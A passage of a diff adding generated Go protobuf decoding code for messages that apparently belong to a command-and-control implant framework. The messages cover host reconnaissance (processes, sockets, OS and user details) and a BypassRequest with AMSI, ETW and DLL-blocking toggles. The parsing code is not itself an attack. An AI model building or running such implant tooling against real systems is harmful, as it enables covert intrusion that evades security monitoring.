protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + mapkey = string(dAtA[iNdEx:postStringIndexmapkey]) + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + mapvalue = string(dAtA[iNdEx:postStringIndexmapvalue]) + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Params[mapkey] = mapvalue + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = append(m.Bin[:0], dAtA[iNdEx:postIndex]...) + if m.Bin == nil { + m.Bin = []byte{} + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Response) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Response: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Response: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Output", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Output = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Error", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Error = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Kv", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Kv == nil { + m.Kv = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + mapkey = string(dAtA[iNdEx:postStringIndexmapkey]) + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + mapvalue = string(dAtA[iNdEx:postStringIndexmapvalue]) + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Kv[mapkey] = mapvalue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Array", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Array = append(m.Array, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *BypassRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: BypassRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: BypassRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ETW", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.ETW = bool(v != 0) + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field AMSI", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.AMSI = bool(v != 0) + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field BlockDll", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.BlockDll = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *NetInterface) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: NetInterface: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: NetInterface: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Index", wireType) + } + m.Index = 0 + m.Index, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Mac", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Mac = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field IpAddresses", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.IpAddresses = append(m.IpAddresses, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *SockTabEntry) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: SockTabEntry: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: SockTabEntry: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field LocalAddr", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.LocalAddr = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field RemoteAddr", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.RemoteAddr = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field SkState", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.SkState = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Pid = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Protocol", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Protocol = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *NetstatResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: NetstatResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: NetstatResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Socks", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Socks = append(m.Socks, &SockTabEntry{}) + if err := m.Socks[len(m.Socks)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Block) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Block: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Block: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field BlockId", wireType) + } + m.BlockId = 0 + m.BlockId, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Content", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Content = append(m.Content[:0], dAtA[iNdEx:postIndex]...) + if m.Content == nil { + m.Content = []byte{} + } + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field End", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.End = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ACK) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ACK: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ACK: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Id", wireType) + } + m.Id = 0 + m.Id, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Success", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Success = bool(v != 0) + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field End", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.End = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Os) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Os: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Os: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Version", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Version = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Release", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Release = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Arch", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Arch = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Username", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Username = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Hostname", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Hostname = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Locale", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Locale = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ClrVersion", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ClrVersion = append(m.ClrVersion, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Process) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Process: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Process: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + m.Pid = 0 + m.Pid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Ppid", wireType) + } + m.Ppid = 0 + m.Ppid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Owner", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Owner = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Arch", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return 